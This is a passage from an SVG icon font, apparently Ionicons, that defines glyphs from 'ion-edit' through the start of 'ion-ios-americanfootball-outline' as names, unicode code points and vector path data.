d="M48 112v192h352v-192h-352zM432 352c9 0 16 -7 16 -16v-256c0 -9 -7 -16 -16 -16h-416c-9 0 -16 7 -16 16v256c0 9 7 16 16 16h416zM416 96v224h-384v-224h384zM48 -32l29 80h31l-28 -80h-32zM239 416l17 -48h-64l17 48h30zM340 48h31l29 -80h-32zM208 0v48h32v-48h-32z
" />
    <glyph glyph-name="ion-edit" unicode="&#xf2bf;" 
d="M381 259l-250 -251l-91 91l251 250zM440 360c12 -12 11 -32 -2 -45l-45 -45l-91 91l45 45c13 13 33 14 45 2zM32 85l85 -85l-117 -32z" />
    <glyph glyph-name="ion-egg" unicode="&#xf277;" horiz-adv-x="320" 
d="M160 416c64 0 160 -133 160 -257s-64 -191 -160 -191s-160 67 -160 191s96 257 160 257z" />
    <glyph glyph-name="ion-eject" unicode="&#xf131;" horiz-adv-x="320" 
d="M303 128h-286v0c-10 0 -17 7 -17 16c0 3 1 5 3 8l138 191c5 5 11 9 19 9s14 -4 19 -9l138 -190c2 -3 3 -6 3 -9c0 -9 -7 -16 -17 -16v0zM308 96c7 0 12 -5 12 -12v-40c0 -7 -5 -12 -12 -12h-296c-7 0 -12 5 -12 12v40c0 7 5 12 12 12h296z" />
    <glyph glyph-name="ion-email-unread" unicode="&#xf3c3;" horiz-adv-x="480" 
d="M352 288c0 43 21 64 64 64s64 -21 64 -64s-21 -64 -64 -64s-64 21 -64 64zM209 288h127c0 -17 5 -33 15 -47c-6 -3 -14 -8 -22 -12s-16 -8 -23 -12s-14 -8 -22 -12s-15 -8 -21 -11s-11 -6 -16 -9s-9 -5 -12 -7s-4 -3 -5 -3c-6 -3 -13 -4 -21 -4s-15 1 -21 4
c-1 1 -15 8 -42 23s-54 29 -81 44s-43 23 -46 25c-7 4 -12 8 -13 11c-1 4 -1 6 1 8s6 2 11 2h191zM277 175c18 11 45 30 83 56c16 -15 34 -23 56 -23v-155c0 -2 -1 -4 -2 -7s-3 -5 -5 -7s-4 -4 -7 -5s-6 -2 -8 -2h-185h-185c-5 0 -11 2 -16 7s-8 9 -8 14v205c0 6 3 8 9 5
c2 -1 11 -7 26 -17s32 -22 53 -36s39 -26 53 -35l-83 -93c-2 -2 -2 -4 -1 -5c2 -1 4 -1 6 1l98 83c16 -10 25 -16 27 -17c6 -3 13 -4 21 -4s15 1 21 4c2 1 11 7 27 17l98 -83c2 -2 5 -2 6 -1s0 3 -2 5z" />
    <glyph glyph-name="ion-email" unicode="&#xf132;" horiz-adv-x="416" 
d="M19 299c-4 2 -11 7 -13 11c-3 8 1 10 12 10h191h191c11 0 15 -2 12 -10c-2 -4 -9 -9 -13 -11c-11 -6 -163 -89 -169 -92s-12 -4 -21 -4s-15 1 -21 4s-158 86 -169 92zM408 295c9 4 8 -1 8 -5v-205c0 -9 -12 -21 -22 -21h-185h-185c-10 0 -24 12 -24 21v205s0 9 9 5
c8 -4 83 -56 132 -88l-83 -93c-2 -2 -2 -4 -1 -5s4 -1 6 1l98 83c15 -10 25 -16 27 -17c8 -4 14 -4 21 -4s13 0 21 4c2 1 12 7 27 17l98 -83c2 -2 5 -2 6 -1s0 3 -2 5l-82 93c49 32 123 84 131 88z" />
    <glyph glyph-name="ion-erlenmeyer-flask-bubbles" unicode="&#xf3c4;" horiz-adv-x="384" 
d="M382 21c2 -4 3 -10 0 -14s-8 -7 -13 -7h-177h-178c-5 0 -9 3 -12 7s-2 10 0 14l118 199v150c0 8 6 14 14 14s15 -6 15 -14v-80c4 3 10 5 16 5c15 0 27 -12 27 -27s-12 -26 -27 -26c-6 0 -12 2 -16 5v-31c0 -2 -1 -4 -2 -6l-35 -59h72c-15 6 -26 20 -26 37
c0 23 19 42 43 42c15 0 27 -8 35 -19c-1 2 -1 3 -1 5v154c0 8 6 14 14 14s15 -6 15 -14v-150zM218 151h53l-31 54c2 -5 3 -11 3 -17c0 -17 -10 -31 -25 -37zM201 319c-12 0 -22 9 -22 21s10 21 22 21s22 -9 22 -21s-10 -21 -22 -21z" />
    <glyph glyph-name="ion-erlenmeyer-flask" unicode="&#xf3c5;" horiz-adv-x="384" 
d="M375 52c6 -9 9 -20 9 -32c0 -28 -16 -52 -63 -52h-258c-47 0 -63 24 -63 52c0 12 3 23 9 32l49 73l49 77c13 20 21 44 21 70v92s-14 34 -16 43c-2 8 1 9 17 9h126c16 0 18 -1 16 -9c-2 -9 -15 -22 -15 -42v-93c0 -26 6 -50 19 -70zM345 7c3 3 7 8 7 14c0 5 -2 10 -4 14
l-101 150c-16 26 -23 56 -23 87v112h-64v-112c0 -32 -9 -62 -25 -87l-99 -150c-2 -4 -4 -9 -4 -14c0 -6 3 -11 6 -14c4 -4 12 -7 25 -7h258c13 0 20 3 24 7zM325 37c1 -2 3 -6 3 -8c0 -7 -6 -15 -14 -15h-244c-7 0 -14 6 -14 14c0 3 1 6 3 8l81 124h103l82 -124v1zM238 106
c2 -1 4 -2 6 -2s3 0 5 2c1 2 3 4 3 6s-1 4 -3 6c-1 2 -3 2 -5 2s-4 0 -6 -2c-1 -2 -2 -4 -2 -6s0 -4 2 -6zM285 47c4 2 4 7 2 11l-23 36c-1 2 -4 4 -7 4c-2 0 -3 0 -4 -1c-4 -2 -4 -7 -2 -11l23 -36c1 -2 5 -4 7 -4c1 0 3 0 4 1z" />
    <glyph glyph-name="ion-eye-disabled" unicode="&#xf306;" 
d="M344 290c41 -27 76 -66 104 -100c-51 -54 -124 -135 -224 -135c-36 0 -65 8 -92 22l-77 -77l-23 23l71 71c-36 25 -68 61 -103 98c78 85 142 137 224 137c34 0 64 -9 92 -23l77 78l23 -23zM134 192c0 -19 6 -36 16 -51l27 27c-4 7 -5 15 -5 24c0 29 23 53 52 53h8
c-5 -6 -8 -13 -8 -21c0 -3 0 -5 1 -8l51 50c-15 11 -33 17 -52 17c-49 0 -90 -41 -90 -91zM224 101c49 0 90 41 90 91c0 19 -6 37 -16 52l-50 -51c3 -1 5 -1 8 -1c8 0 14 3 20 7v-7c0 -29 -23 -53 -52 -53c-9 0 -17 2 -24 6l-28 -27c15 -11 33 -17 52 -17z" />
    <glyph glyph-name="ion-eye" unicode="&#xf133;" 
d="M224 320c99 0 172 -70 224 -129c-51 -50 -124 -127 -224 -127s-157 60 -224 128c78 79 142 128 224 128zM224 101c49 0 90 41 90 91s-41 91 -90 91s-90 -41 -90 -91s41 -91 90 -91zM224 224c0 -18 14 -32 32 -32c8 0 14 3 20 7v-7c0 -29 -23 -53 -52 -53s-52 24 -52 53
s23 53 52 53h8c-5 -6 -8 -13 -8 -21z" />
    <glyph glyph-name="ion-female" unicode="&#xf278;" horiz-adv-x="256" 
d="M160 164v-68h64v-64h-64v-64h-64v64h-64v64h64v68c-55 14 -96 64 -96 124c0 71 57 128 128 128s128 -57 128 -128c0 -60 -41 -110 -96 -124zM128 208c44 0 80 36 80 80s-36 80 -80 80s-80 -36 -80 -80s36 -80 80 -80z" />
    <glyph glyph-name="ion-filing" unicode="&#xf134;" horiz-adv-x="384" 
d="M317 319c12 0 19 0 19 -20v-28h-288v28c0 20 8 20 20 20h249zM269 352c13 0 19 -1 19 -19h-192c0 18 7 19 20 19h153zM368 278c13 -8 17 -17 15 -41l-17 -184c-4 -21 -16 -21 -24 -21h-300c-8 0 -20 0 -24 21l-17 185c-3 26 1 31 15 40l15 10v-32h321v32z" />
    <glyph glyph-name="ion-film-marker" unicode="&#xf135;" horiz-adv-x="416" 
d="M400 240c9 0 16 -7 16 -15v-210c0 -8 -7 -15 -16 -15h-384c-9 0 -16 7 -16 15v210c0 8 6 14 13 15c-2 2 -3 4 -4 7l-9 45c-2 8 5 16 13 18l370 74c8 2 16 -4 18 -12l9 -46c2 -8 -4 -16 -12 -18l-342 -68h344zM257 46l-20 58l51 36h-62l-20 58l-19 -58h-63l51 -36l-19 -58
l50 36z" />
    <glyph glyph-name="ion-fireball" unicode="&#xf319;" horiz-adv-x="320" 
d="M297 210c14 -24 23 -52 23 -82c0 -33 -10 -63 -26 -88v0v0c-29 -43 -78 -72 -134 -72c-17 0 -32 1 -46 7s-25 13 -33 25c-11 16 -17 28 -21 52c-6 -25 2 -48 9 -60c-43 26 -69 71 -69 125v4c5 78 65 109 90 151c8 14 13 30 10 48c11 -9 15 -25 15 -39
c0 -16 -3 -29 -3 -29c4 8 7 18 9 31c6 35 2 85 -37 132l-1 1s7 0 18 -3c95 -16 169 -91 184 -186c2 -12 3 -23 3 -35c0 -16 -2 -32 -5 -47c10 23 13 43 14 55v10z" />
    <glyph glyph-name="ion-flag" unicode="&#xf279;" horiz-adv-x="384" 
d="M362 266c0 0 12 2 22 6c0 -16 -7 -32 -9 -36c-28 -50 -99 -123 -181 -84c-65 31 -92 30 -117 24c-1 0 -2 -1 -3 -1c-3 -1 -15 -5 -26 -1v197c0 16 14 31 33 35c39 7 106 5 148 -74c39 -74 97 -72 133 -66zM24 416c4 0 8 -4 8 -8v-432c0 -4 -4 -8 -8 -8h-16
c-4 0 -8 4 -8 8v432c0 4 4 8 8 8h16z" />
    <glyph glyph-name="ion-flame" unicode="&#xf31a;" horiz-adv-x="256" 
d="M1 128c-11 109 72 224 159 288c-26 -145 97 -142 96 -288c-1 -120 -105 -160 -128 -160s-114 26 -127 160zM88 80c0 -44 40 -80 40 -80s41 36 41 80s-41 80 -41 80s-40 -36 -40 -80z" />
    <glyph glyph-name="ion-flash-off" unicode="&#xf136;" 
d="M115 -4c-69 38 -115 112 -115 196c0 124 100 224 224 224c24 0 47 -4 68 -11c2 -1 3 -1 5 -2c12 -4 24 -9 35 -15v0c69 -38 116 -112 116 -196c0 -124 -100 -224 -224 -224c-24 0 -47 4 -68 11c-2 1 -3 1 -5 2c-12 4 -24 8 -35 14zM86 291c-20 -28 -32 -62 -32 -99
c0 -65 36 -121 90 -150c6 -3 13 -7 19 -9c2 -1 3 -1 5 -2c9 -3 19 -5 29 -7c9 -2 18 -2 27 -2c37 0 71 12 99 32l-52 53l36 40l55 -54c20 28 32 62 32 99c0 66 -37 123 -91 151c-6 3 -12 6 -18 8c-2 1 -3 1 -5 2c-9 3 -19 5 -29 7c-9 2 -18 2 -27 2c-37 0 -72 -12 -100 -32
l53 -52l-36 -41zM178 58l38 113h-85l139 155l-38 -113h85z" />
    <glyph glyph-name="ion-flash" unicode="&#xf137;" horiz-adv-x="320" 
d="M0 160l224 256l-51 -192h147l-224 -256l51 192h-147z" />
    <glyph glyph-name="ion-folder" unicode="&#xf139;" horiz-adv-x="384" 
d="M366 256c18 0 19 -7 18 -18l-12 -186c-1 -11 -3 -20 -21 -20h-317c-18 0 -20 9 -21 20l-13 184c-1 11 0 20 18 20h348zM362 305l2 -33h-344c0 6 4 46 6 63c2 18 8 17 25 17h75c28 0 23 0 37 -15c16 -18 19 -17 41 -17h143c11 0 15 -3 15 -15z" />
    <glyph glyph-name="ion-fork-repo" unicode="&#xf2c0;" horiz-adv-x="320" 
d="M320 368v-64h-48v-48h-64v48h-48v64h48v48h64v-48h48zM208 208h64v-5v0c0 -43 -7 -70 -38 -95c-23 -19 -51 -20 -75 -22c-9 -1 -18 -2 -26 -3c-6 -1 -13 -5 -20 -10c9 -11 15 -25 15 -41c0 -35 -29 -64 -64 -64s-64 29 -64 64c0 24 13 44 32 55v210c-19 11 -32 31 -32 55
c0 35 29 64 64 64s64 -29 64 -64c0 -24 -13 -44 -32 -55v-160c8 4 18 7 27 9c11 2 21 2 31 3c17 1 33 3 40 9c10 8 14 11 14 50zM64 384c-18 0 -32 -14 -32 -32s14 -32 32 -32s32 14 32 32s-14 32 -32 32zM64 0c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32
s14 -32 32 -32z" />
    <glyph glyph-name="ion-fork" unicode="&#xf27a;" horiz-adv-x="128" 
d="M78 299v0v0v0zM128 282c0 -26 -15 -48 -37 -58c-12 -6 -11 -11 -11 -11s16 -200 16 -213s-3 -18 -9 -24s-15 -8 -23 -8v0v0c-8 0 -16 2 -22 8s-10 13 -10 24s16 213 16 213s0 6 -11 11c-22 10 -37 32 -37 58c0 43 15 93 24 134h8v-117c0 -6 3 -11 9 -11s9 4 10 10v1
l9 117h8l10 -117v-1c1 -6 3 -10 9 -10s9 5 9 11v117h8v0c9 -40 24 -91 24 -134z" />
    <glyph glyph-name="ion-forward" unicode="&#xf13a;" horiz-adv-x="384" 
d="M224 150c-102 0 -171 -9 -224 -102c0 0 37 208 224 208v80l160 -144l-160 -134v92z" />
    <glyph glyph-name="ion-funnel" unicode="&#xf31b;" 
d="M224 416c124 0 224 -36 224 -80c0 -8 -3 -15 -9 -22v0c-35 -43 -151 -179 -151 -218v-4v-83v0c0 -23 -29 -41 -64 -41s-64 18 -64 41v0v87c0 39 -117 177 -149 216v0c-7 8 -11 16 -11 24c0 44 100 80 224 80zM224 288c92 0 176 22 176 48s-83 48 -176 48
s-176 -22 -176 -48s84 -48 176 -48z" />
    <glyph glyph-name="ion-gear-a" unicode="&#xf13d;" horiz-adv-x="384" 
d="M347 192c0 -24 15 -43 37 -56c-4 -13 -10 -26 -16 -38c-25 6 -45 -3 -62 -20s-22 -37 -16 -62c-12 -6 -25 -12 -38 -16c-13 22 -36 37 -60 37s-47 -15 -60 -37c-13 4 -27 10 -39 16c6 25 2 45 -15 62s-37 21 -62 15c-6 12 -12 26 -16 39c22 13 37 36 37 60s-15 43 -37 56
c4 13 9 26 16 38c25 -6 45 3 62 20s21 37 15 62c12 6 26 12 39 16c13 -22 36 -37 60 -37s47 15 60 37c13 -4 27 -10 39 -16c-6 -25 -2 -45 15 -62s37 -26 62 -20c6 -12 12 -25 16 -38c-22 -13 -37 -32 -37 -56zM192 94c54 0 98 44 98 98s-44 98 -98 98s-98 -44 -98 -98
s44 -98 98 -98z" />
    <glyph glyph-name="ion-gear-b" unicode="&#xf13e;" horiz-adv-x="384" 
d="M384 154h-44c-4 -14 -10 -27 -17 -39l32 -32l-54 -54l-33 32c-12 -7 -24 -11 -38 -15v-46h-76v46c-13 4 -26 8 -38 15l-33 -32l-54 54l32 32c-7 12 -13 25 -17 39h-44v76h43c4 14 9 29 16 41l-30 30l54 54l29 -29c13 8 27 13 42 17v41h76v-41c15 -4 29 -9 42 -17l29 29
l54 -54l-30 -30c7 -12 13 -27 16 -41h43v-76zM192 138c30 0 54 24 54 54s-24 54 -54 54s-54 -24 -54 -54s24 -54 54 -54z" />
    <glyph glyph-name="ion-grid" unicode="&#xf13f;" horiz-adv-x="320" 
d="M64 295c0 -4 -3 -7 -7 -7h-50c-4 0 -7 3 -7 7v50c0 4 3 7 7 7h50c4 0 7 -3 7 -7v-50zM192 295c0 -4 -3 -7 -7 -7h-50c-4 0 -7 3 -7 7v50c0 4 3 7 7 7h50c4 0 7 -3 7 -7v-50zM320 295c0 -4 -3 -7 -7 -7h-50c-4 0 -7 3 -7 7v50c0 4 3 7 7 7h50c4 0 7 -3 7 -7v-50zM64 167
c0 -4 -3 -7 -7 -7h-50c-4 0 -7 3 -7 7v50c0 4 3 7 7 7h50c4 0 7 -3 7 -7v-50zM192 167c0 -4 -3 -7 -7 -7h-50c-4 0 -7 3 -7 7v50c0 4 3 7 7 7h50c4 0 7 -3 7 -7v-50zM320 167c0 -4 -3 -7 -7 -7h-50c-4 0 -7 3 -7 7v50c0 4 3 7 7 7h50c4 0 7 -3 7 -7v-50zM64 39
c0 -4 -3 -7 -7 -7h-50c-4 0 -7 3 -7 7v50c0 4 3 7 7 7h50c4 0 7 -3 7 -7v-50zM192 39c0 -4 -3 -7 -7 -7h-50c-4 0 -7 3 -7 7v50c0 4 3 7 7 7h50c4 0 7 -3 7 -7v-50zM320 39c0 -4 -3 -7 -7 -7h-50c-4 0 -7 3 -7 7v50c0 4 3 7 7 7h50c4 0 7 -3 7 -7v-50z" />
    <glyph glyph-name="ion-hammer" unicode="&#xf27b;" horiz-adv-x="320" 
d="M314 416c3 0 6 -3 6 -6v-84c0 -3 -3 -6 -6 -6h-52c-3 0 -6 3 -6 6v14c-6 5 -16 9 -22 7c-7 -2 -23 -13 -30 -25s-6 -28 -6 -66l8 -2c5 -1 7 -6 7 -9v-70c0 -95 11 -201 11 -201c0 -3 -3 -6 -6 -6h-84c-3 0 -6 3 -6 6c0 0 11 106 11 201v70c0 3 3 8 7 9l7 2
c0 43 -5 58 -22 74c-18 16 -41 19 -63 17s-51 -35 -58 -45s-10 2 -10 11c1 16 22 60 72 81s91 22 102 22s27 -1 38 -3s16 -18 26 -18c7 0 14 5 18 9v6c0 3 3 6 6 6h52z" />
    <glyph glyph-name="ion-happy-outline" unicode="&#xf3c6;" 
d="M355 158c8 -4 11 -13 7 -21c-24 -46 -78 -73 -138 -73c-62 0 -118 29 -139 74c-4 8 0 17 8 21c2 1 5 1 7 1c6 0 11 -3 14 -9c16 -34 60 -55 110 -55c49 0 92 21 110 56c3 5 8 8 14 8c3 0 5 -1 7 -2zM381 217c5 -7 4 -17 -4 -22c-3 -2 -6 -3 -10 -3c-5 0 -11 2 -14 6
s-7 10 -17 10s-14 -6 -17 -10s-9 -6 -14 -6c-4 0 -7 1 -10 3c-8 6 -9 15 -3 22c11 14 23 23 44 23s35 -9 45 -23zM157 217c5 -7 4 -17 -4 -22c-3 -2 -6 -3 -10 -3c-5 0 -11 2 -14 6s-7 10 -17 10s-14 -6 -17 -10s-9 -6 -14 -6c-4 0 -7 1 -10 3c-8 6 -9 15 -3 22
c11 14 23 23 44 23s35 -9 45 -23zM224 416c124 0 224 -100 224 -224s-100 -224 -224 -224s-224 100 -224 224s100 224 224 224zM360 56c36 36 56 85 56 136s-20 100 -56 136s-85 56 -136 56s-100 -20 -136 -56s-56 -85 -56 -136s20 -100 56 -136s85 -56 136 -56
s100 20 136 56z" />
    <glyph glyph-name="ion-happy" unicode="&#xf31c;" 
d="M224 416c124 0 224 -100 224 -224s-100 -224 -224 -224s-224 100 -224 224s100 224 224 224zM71 195c3 -2 6 -3 10 -3c5 0 11 2 14 6s7 10 17 10s14 -6 17 -10s9 -6 14 -6c4 0 7 1 10 3c8 5 9 15 4 22c-10 14 -24 23 -45 23s-33 -9 -44 -23c-6 -7 -5 -16 3 -22zM362 137
c4 8 1 17 -7 21c-2 1 -4 2 -7 2c-6 0 -11 -3 -14 -8c-18 -35 -61 -56 -110 -56c-50 0 -94 21 -110 55c-3 6 -8 9 -14 9c-2 0 -5 0 -7 -1c-8 -4 -12 -13 -8 -21c21 -45 77 -74 139 -74c60 0 114 27 138 73zM377 195c8 5 9 15 4 22c-10 14 -24 23 -45 23s-33 -9 -44 -23
c-6 -7 -5 -16 3 -22c3 -2 6 -3 10 -3c5 0 11 2 14 6s7 10 17 10s14 -6 17 -10s9 -6 14 -6c4 0 7 1 10 3z" />
    <glyph glyph-name="ion-headphone" unicode="&#xf140;" horiz-adv-x="384" 
d="M383 210c3 -51 -3 -130 -13 -162c-20 -67 -40 -80 -72 -80s-58 27 -58 59v106c0 33 23 59 53 59c18 0 34 -9 44 -24c0 0 11 7 13 22s4 34 -5 64s-21 19 -36 38c-2 3 -5 7 -8 10l-10 10c-2 2 -3 3 -5 4c-11 9 -21 17 -34 23c-19 9 -39 13 -60 13s-42 -4 -61 -13
c-13 -6 -22 -14 -33 -23c-2 -1 -3 -2 -5 -4l-10 -10s-6 -7 -8 -10c-15 -19 -27 -8 -36 -38c-9 -31 -7 -49 -5 -64s13 -22 13 -22c10 15 26 24 44 24c30 0 53 -27 53 -59v-106c0 -32 -26 -59 -58 -59s-52 13 -72 80c-10 32 -16 111 -13 162c3 60 22 108 56 145v0
c8 8 15 16 24 23s19 13 29 18c25 13 53 20 82 20s57 -7 82 -20c10 -5 19 -11 28 -18s17 -15 25 -23v0c34 -37 53 -85 56 -145z" />
    <glyph glyph-name="ion-heart-broken" unicode="&#xf31d;" horiz-adv-x="416" 
d="M181 160c0 -36 -2 -71 4 -107c2 -10 2 -20 2 -31l-153 159c-45 47 -45 124 0 171c40 41 103 43 144 3c-2 -15 -3 -31 -3 -46c-18 -14 -40 -21 -56 -39l11 7c17 11 15 8 35 14c3 1 8 3 11 5c0 -1 -1 -5 -1 -6c1 -20 11 -39 15 -60c0 -5 1 -10 -1 -15c-8 -17 -7 -37 -8 -55
zM274 147c8 -18 23 -29 38 -39l-104 -108l-17 18c0 13 -4 26 -4 38c-2 48 10 94 21 142v0c1 -1 2 -1 3 -1c30 -6 52 -24 63 -50zM382 352c46 -47 46 -124 0 -171l-68 -70c-28 24 -42 54 -65 81c-12 13 -26 23 -41 32c-3 13 -8 26 -11 39c-3 12 14 21 16 31c3 12 3 26 3 39
l19 19c40 42 107 42 147 0z" />
    <glyph glyph-name="ion-heart" unicode="&#xf141;" horiz-adv-x="416" 
d="M382 352c46 -47 46 -124 0 -171l-174 -181l-174 181c-46 47 -46 124 0 171c40 42 107 42 147 0l27 -28l28 28c40 42 106 42 146 0z" />
    <glyph glyph-name="ion-help-buoy" unicode="&#xf27c;" 
d="M224 416c124 0 224 -100 224 -224s-100 -224 -224 -224s-224 100 -224 224s100 224 224 224zM402 264c-10 24 -23 45 -42 64s-41 32 -65 42l-19 -61c14 -6 27 -15 38 -26s21 -24 27 -38zM224 96c53 0 96 43 96 96s-43 96 -96 96s-96 -43 -96 -96s43 -96 96 -96zM88 328
c-19 -19 -32 -41 -42 -65l61 -19c6 14 15 27 26 38s24 21 38 27l-19 61c-24 -10 -45 -23 -64 -42zM46 120c10 -24 23 -45 42 -64s41 -32 65 -42l19 61c-14 6 -27 15 -38 26s-21 24 -27 38zM360 56c19 19 32 41 42 65l-61 19c-6 -14 -15 -27 -26 -38s-24 -21 -38 -27l19 -61
c24 10 45 23 64 42z" />
    <glyph glyph-name="ion-help-circled" unicode="&#xf142;" 
d="M224 416c124 0 224 -100 224 -224s-100 -224 -224 -224s-224 100 -224 224s100 224 224 224zM244 89c1 18 -12 31 -29 31c-16 0 -30 -11 -30 -29s12 -30 28 -30c17 0 31 10 31 28zM293 217c7 10 12 22 12 36c0 23 -9 40 -25 52c-17 13 -37 18 -62 18
c-19 0 -34 -4 -47 -13c-19 -13 -28 -34 -28 -68h49c0 9 -1 19 4 27s13 15 26 15s19 -3 25 -11c5 -7 8 -15 8 -23c0 -7 -4 -14 -8 -20c-2 -4 -6 -7 -10 -10c0 0 -26 -15 -35 -30c-7 -11 -9 -24 -10 -41c0 -1 0 -4 4 -4h39s5 3 5 4c0 6 1 15 2 19c2 7 6 12 12 17l14 9
c12 9 21 17 25 23z" />
    <glyph glyph-name="ion-help" unicode="&#xf143;" horiz-adv-x="256" 
d="M217 371c25 -19 39 -46 39 -83c0 -22 -8 -42 -19 -57c-7 -9 -21 -21 -40 -36l-21 -14c-10 -8 -17 -18 -20 -28c-2 -6 -3 -19 -3 -29c0 -2 -1 -6 -7 -6h-62c-7 0 -7 3 -7 5c1 26 4 49 15 66c15 23 57 48 57 48c6 5 11 9 15 15c7 10 12 21 12 32c0 13 -3 26 -11 36
c-10 12 -21 18 -41 18s-32 -11 -40 -24s-7 -29 -7 -43h-77c0 54 14 88 44 108c20 14 45 20 75 20c39 0 70 -7 98 -28zM114 78c27 -1 47 -20 46 -48s-22 -46 -49 -45c-26 1 -46 19 -45 47s22 47 48 46z" />
    <glyph glyph-name="ion-home" unicode="&#xf144;" horiz-adv-x="384" 
d="M384 160h-48v-160h-96v128h-96v-128h-96v160h-48l192 224z" />
    <glyph glyph-name="ion-icecream" unicode="&#xf27d;" horiz-adv-x="320" 
d="M32 192h256l-128 -224zM307 275c8 -5 13 -13 13 -23c0 -16 -14 -28 -30 -28h-4h-252h-4c-16 0 -30 13 -30 28c0 10 6 18 14 23c1 0 1 2 2 2c4 3 7 7 8 12v1c-2 6 -2 12 -2 18c0 42 34 76 76 76c8 0 16 -2 23 -4c-3 -12 -4 -31 -4 -31c2 15 11 29 11 29c18 23 46 38 77 38
c53 0 96 -43 96 -96c0 -11 -2 -21 -5 -30v-1c0 -4 4 -9 8 -12c1 0 2 -2 3 -2z" />
    <glyph glyph-name="ion-image" unicode="&#xf147;" 
d="M336 224c-26 0 -48 22 -48 48s22 48 48 48s48 -22 48 -48s-22 -48 -48 -48zM420 384c16 0 28 -12 28 -28v-328c0 -16 -12 -28 -28 -28h-392c-16 0 -28 12 -28 28v328c0 16 12 28 28 28h392zM317 186l99 -106v260c0 7 -6 12 -13 12h-358c-7 0 -12 -5 -13 -12v-260l126 152
c4 4 10 8 17 8s13 -2 17 -7l54 -59l4 -4c3 -2 7 -4 11 -4s8 2 12 5l18 16c4 3 8 5 13 5s10 -2 13 -6z" />
    <glyph glyph-name="ion-images" unicode="&#xf148;" 
d="M426 308c13 -1 23 -12 22 -24l-14 -263c-1 -13 -12 -22 -25 -21l-330 16c-13 1 -23 10 -22 23l2 46l-15 -1c-12 -1 -22 7 -23 18l-21 236c-1 11 7 21 19 22l296 24c12 1 22 -7 23 -18l5 -54zM71 302c1 12 11 22 24 22l219 -11l-2 31h-1v1c-1 5 -5 8 -10 8l-261 -22
c-5 0 -10 -4 -10 -9v0v-1l16 -178l18 25zM405 66l10 198v1v0c0 6 -5 10 -11 10l-58 3l-29 2l-204 9c-6 0 -11 -4 -12 -9v0v-1l-3 -63l-7 -128v-7l6 7l102 109c4 4 8 6 14 6s11 -3 14 -7l43 -49l3 -3c2 -2 6 -4 10 -4s5 1 9 3l17 12c4 3 7 4 11 4s9 -2 11 -5l27 -33zM341 186
c-20 0 -35 15 -35 35s16 35 35 35c20 0 35 -16 35 -35s-16 -35 -35 -35z" />
    <glyph glyph-name="ion-information-circled" unicode="&#xf149;" 
d="M448 195c2 -124 -97 -225 -221 -227s-225 97 -227 221s97 225 221 227s225 -97 227 -221zM224 336c-18 0 -32 -14 -32 -32s14 -32 32 -32s32 14 32 32s-14 32 -32 32zM268 53v11h-22v172h-66v-12h22v-160h-22v-11h88z" />
    <glyph glyph-name="ion-information" unicode="&#xf14a;" horiz-adv-x="128" 
d="M96 0h32v-16h-128v16h32v240h-32v16h96v-256zM64 304c-27 0 -48 21 -48 48s21 48 48 48s48 -21 48 -48s-21 -48 -48 -48z" />
    <glyph glyph-name="ion-ionic" unicode="&#xf14b;" horiz-adv-x="416" 
d="M376 315c25 -34 40 -77 40 -123c0 -115 -93 -208 -208 -208s-208 93 -208 208s93 208 208 208c46 0 89 -15 123 -40c5 3 11 5 18 5c18 0 32 -14 32 -32c0 -7 -2 -13 -5 -18zM344 56c18 18 31 38 41 61c10 24 15 49 15 75s-5 51 -15 75c-6 13 -13 26 -21 38
c-4 -2 -10 -4 -15 -4c-18 0 -32 14 -32 32c0 5 2 11 4 15c-12 8 -25 15 -38 21c-24 10 -49 15 -75 15s-51 -5 -75 -15c-23 -10 -43 -23 -61 -41s-31 -38 -41 -61c-10 -24 -15 -49 -15 -75s5 -51 15 -75c10 -23 23 -43 41 -61s38 -31 61 -41c24 -10 49 -15 75 -15s51 5 75 15
c23 10 43 23 61 41zM112 192c0 64 32 96 96 96s96 -32 96 -96s-32 -96 -96 -96s-96 32 -96 96z" />
    <glyph glyph-name="ion-ios-alarm-outline" unicode="&#xf3c7;" horiz-adv-x="404" 
d="M384 256l-54 52l-9 -9c35 -32 57 -79 57 -130c0 -44 -16 -83 -43 -114l36 -45l-12 -10l-35 43c-32 -30 -75 -49 -122 -49v0v0c-47 0 -90 19 -122 49l-35 -43l-12 10l36 45c-27 31 -43 71 -43 115c0 51 22 97 57 129l-9 9l-54 -52c-12 14 -20 32 -20 52c0 44 35 80 80 82
h5c20 0 39 -7 54 -18l-54 -52l11 -11c26 19 56 32 90 35v0c0 8 8 16 16 16s15 -8 15 -16v0c34 -3 65 -16 91 -35l11 11l-54 52c15 11 34 18 54 18h5c45 -2 80 -38 80 -82c0 -20 -8 -38 -20 -52zM22 280l91 89c-9 5 -19 7 -32 6c-37 -2 -65 -32 -65 -67c0 -10 2 -19 6 -28z
M362 172c0 88 -72 158 -160 158s-160 -70 -160 -158s72 -158 160 -158s160 70 160 158zM291 369l91 -89c4 9 6 18 6 28c0 35 -28 65 -65 67c-13 1 -23 -1 -32 -6zM202 288h16v-144h-112v16h96v128z" />
    <glyph glyph-name="ion-ios-alarm" unicode="&#xf3c8;" horiz-adv-x="404" 
d="M385 256l-55 52l-9 -9c35 -32 57 -79 57 -130c0 -44 -16 -83 -43 -114l37 -45l-13 -10l-35 43c-32 -30 -75 -49 -122 -49v0v0c-47 0 -90 19 -122 49l-35 -43l-12 10l36 45c-27 31 -43 70 -43 114c0 51 22 98 57 130l-9 9l-54 -52c-12 14 -20 32 -20 52c0 44 35 80 80 82
h5c20 0 39 -7 54 -18l-54 -53l11 -10c26 19 56 32 90 35v0c0 8 8 16 16 16s15 -8 15 -16v0c34 -3 65 -16 91 -35l11 11l-54 52c15 11 34 18 54 18h5c45 -2 80 -38 80 -82c0 -20 -7 -38 -19 -52zM218 144v144h-16v-128h-96v-16h112z" />
    <glyph glyph-name="ion-ios-albums-outline" unicode="&#xf3c9;" 
d="M432 304h-416v-288h416v288zM448 320v0v-320h-448v320h448zM40 336v16h368v-16h-368zM72 368v16h304v-16h-304z" />
    <glyph glyph-name="ion-ios-albums" unicode="&#xf3ca;" 
d="M448 320v0v-320h-448v320h448zM40 336v16h368v-16h-368zM72 368v16h304v-16h-304z" />
    <glyph glyph-name="ion-ios-americanfootball-outline" unicode="&#xf3cb;" horiz-adv-x="416" 
d="M331 315c112 -112 81 -327 81 -327s-26 -4 -65 -4c-73 0 -189 12 -262 85c-112 112 -81 327 -81 327s26 4 65 4c73 0 189 -12 262 -85zM17 383c-2 -19 -5 -60 0 -107c1 -8 2 -16 3 -23l127 127c-25 3 -51 5 -78 5v0v0c-22 0 -41 -1 -52 -2zM96 80c30 -30 72 -53 124 -66
